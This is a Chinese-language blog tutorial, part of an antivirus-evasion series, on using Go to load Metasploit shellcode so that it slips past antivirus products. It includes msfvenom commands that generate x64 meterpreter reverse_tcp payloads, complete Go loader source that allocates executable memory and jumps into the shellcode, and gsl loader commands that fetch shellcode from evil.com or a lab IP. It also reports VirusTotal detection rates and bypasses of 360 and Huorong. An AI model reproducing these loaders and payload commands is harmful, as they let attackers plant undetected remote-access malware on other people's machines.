【免杀篇】远控免杀专题(32)-Go加载shellcode免杀-3种方式(VT免杀率7-70)


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

0x01 GO加载shellcode介绍

0x02 Go嵌入shellcode(VT查杀率3/71)

0x03 Go加载器

go-shellcode加载器(VT查杀率4/69)

gsl加载器(VT查杀率6/71)


                                                                                       免杀能力一览表

【免杀篇】远控免杀专题(32)-Go加载shellcode免杀-3种方式(VT免杀率7-70)_第1张图片

【免杀篇】远控免杀专题(32)-Go加载shellcode免杀-3种方式(VT免杀率7-70)_第2张图片

【免杀篇】远控免杀专题(32)-Go加载shellcode免杀-3种方式(VT免杀率7-70)_第3张图片

 

0x01 GO加载shellcode介绍

用Golang做免杀的不是很多,不过也有一些go写的免杀工具,比如专题21里介绍的HERCULES就是把利用go来嵌入shellcode然后编译exe,还有veil、Avoidz都可以生成基于go语言的shellcode,而且免杀效果还不错。

唯一不足的是go编译出来的exe大约2.3M左右,使用upx压缩下大约1.5M,不过相比python编译的exe应该还能接受了,免杀效果还比python-exe要好一些。

Golang也可以分两种方式,一种是将shellcode嵌入go代码然后编译exe,一种是使用go加载器。

 

0x02 Go嵌入shellcode(VT查杀率3/71)

Go中嵌入shellcode的方法不大多,只找到了两种代码,相比python要少很多,也可能是因为毕竟少的缘故,所以免杀效果还是比较好的。

先用msfvenom生成C语言的shellcode,注意要生成x64的。

msfvenom -p  windows/x64/meterpreter/reverse_tcp  lhost=10.211.55.2 lport=3333 -f c

将shellcode转换一下,变成下面的格式

【免杀篇】远控免杀专题(32)-Go加载shellcode免杀-3种方式(VT免杀率7-70)_第4张图片

image.png

将转换后的shellcode替换到下面的shellcode_buf位置,文件保存为shell.go

package main

import (
    "io/ioutil"
    "os"
    "syscall"
    "unsafe"
)

const (
    MEM_COMMIT             = 0x1000
    MEM_RESERVE            = 0x2000
    PAGE_EXECUTE_READWRITE = 0x40
)

var (
    kernel32       = syscall.MustLoadDLL("kernel32.dll")
    ntdll          = syscall.MustLoadDLL("ntdll.dll")
    VirtualAlloc   = kernel32.MustFindProc("VirtualAlloc")
    RtlCopyMemory  = ntdll.MustFindProc("RtlCopyMemory")
    shellcode_buf = []byte{ 
        0xfc, 0x48,  ----shellcode----, 0xd5,
    }
)

func checkErr(err error) {
    if err != nil {
        if err.Error() != "The operation completed successfully." {
            println(err.Error())
            os.Exit(1)
        }
    }
}

func main() {
    shellcode := shellcode_buf
    if len(os.Args) > 1 {
        shellcodeFileData, err := ioutil.ReadFile(os.Args[1])
        checkErr(err)
        shellcode = shellcodeFileData
    }

    addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
    if addr == 0 {
        checkErr(err)
    }
    _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
    checkErr(err)
    syscall.Syscall(addr, 0, 0, 0, 0)
}

 

安装golang,参考:[https://www.runoob.com/go/go-environment.html](https://www.runoob.com/go/go-environment.html)

在命令行执行命令go build,编译生成test.exe,在测试机执行。不过大约两分钟后,360安全大脑提示云查杀报警了。

【免杀篇】远控免杀专题(32)-Go加载shellcode免杀-3种方式(VT免杀率7-70)_第5张图片

msf中监听windows/x64/meterpreter/reverse_tcp,可上线

【免杀篇】远控免杀专题(32)-Go加载shellcode免杀-3种方式(VT免杀率7-70)_第6张图片

virustotal.com上查杀率为3/71

【免杀篇】远控免杀专题(32)-Go加载shellcode免杀-3种方式(VT免杀率7-70)_第7张图片

在网上还找到另外一个代码,不过执行和编译老出错,有兴趣的可以试一下,代码如下。

package main

import "C"
import "unsafe"

func main() {
    buf := ""
    buf += "xddxc6xd9x74x24xf4x5fx33xc9xb8xb3x5ex2c"
    ...省略...
    buf += "xc9xb1x97x31x47x1ax03x47x1ax83xc7x04xe2"
    // at your call site, you can send the shellcode directly to the C
    // function by converting it to a pointer of the correct type.
    shellcode := []byte(buf)
    C.call((*C.char)(unsafe.Pointer(&shellcode[0])))
}

 

0x03 Go加载器

go-shellcode加载器(VT查杀率4/69)

需要先下载加载器:[https://github.com/brimstone/go-shellcode](https://github.com/brimstone/go-shellcode)

下载后,进入go-shellcode\cmd\sc目录,执行go build

生成sc.exe

【免杀篇】远控免杀专题(32)-Go加载shellcode免杀-3种方式(VT免杀率7-70)_第8张图片

然后用Msfvenom生成hex格式的shellcode​​​​​​​

msfvenom -p windows/x64/meterpreter/reverse_tcp -f hex -o shell.hex LHOST=10.211.55.2 LPORT=3333

使用sc加载器进行加载​​​​​​​

sc.exe shellcode

静态和动态都可过360和火绒

【免杀篇】远控免杀专题(32)-Go加载shellcode免杀-3种方式(VT免杀率7-70)_第9张图片

msf中可上线

【免杀篇】远控免杀专题(32)-Go加载shellcode免杀-3种方式(VT免杀率7-70)_第10张图片

virustotal.com上sc.exe查杀率为4/69

【免杀篇】远控免杀专题(32)-Go加载shellcode免杀-3种方式(VT免杀率7-70)_第11张图片

gsl加载器(VT查杀率6/71)

gsl是Jayl1n根据go-shellcode进行了修改完善的工具。

下载gsl加载器:wget [https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/gsl-sc-loader.zip](https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/gsl-sc-loader.zip)

里面包含两个版本,x86和x64。

提供了三种加载方式

1、从参数传入 (必须是HEX格式)

gsl -s SHELLCODE -hex

2、从文件传入

加载 RAW 格式:gsl -f shell.raw

加载 HEX 格式:gsl -f shell.hex -hex

3、从远程服务器加载

把 SHELLCODE 文件挂在WEB目录下。(支持HTTP/HTTPS)

加载 RAW 格式:gsl -u [http://evil.com/shell.raw](http://evil.com/shell.raw)

加载 HEX 格式:gsl -u [http://evil.com/shell.hex](http://evil.com/shell.hex) -hex

以x64为例进行测试,先生成x64的shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp  LHOST=10.211.55.2 LPORT=3333 -f hex -o shell.hex

我就试一下远程加载gsl64.exe -u [http://10.211.55.2/shell.hex](http://10.211.55.2/shell.hex) -hex

【免杀篇】远控免杀专题(32)-Go加载shellcode免杀-3种方式(VT免杀率7-70)_第12张图片

msf中可上线

【免杀篇】远控免杀专题(32)-Go加载shellcode免杀-3种方式(VT免杀率7-70)_第13张图片

virustotal.com上gsl64.exe查杀率为6/71,因为这个gsl是编译好的,没法自己编译,估计越来越多的杀软都能开始查杀。

【免杀篇】远控免杀专题(32)-Go加载shellcode免杀-3种方式(VT免杀率7-70)_第14张图片

 

参考链接:

payload免杀:[https://www.cnblogs.com/LyShark/p/11331476.html](https://www.cnblogs.com/LyShark/p/11331476.html)

基于Ruby内存加载shellcode:[https://micro8.gitbook.io/micro8/contents-1/61-70/68-ji-yu-ruby-nei-cun-jia-zai-shellcode-di-yi-ji](https://micro8.gitbook.io/micro8/contents-1/61-70/68-ji-yu-ruby-nei-cun-jia-zai-shellcode-di-yi-ji)

go-shellcode:[https://github.com/brimstone/go-shellcode](https://github.com/brimstone/go-shellcode)

从内存加载 SHELLCODE 绕过AV查杀:[https://jayl1n.github.io/2019/01/08/tools-load-shellcode/](https://jayl1n.github.io/2019/01/08/tools-load-shellcode/)

 

 

 

 

 

 

 

 

 

 

 

 

 

你可能感兴趣的:(免杀篇)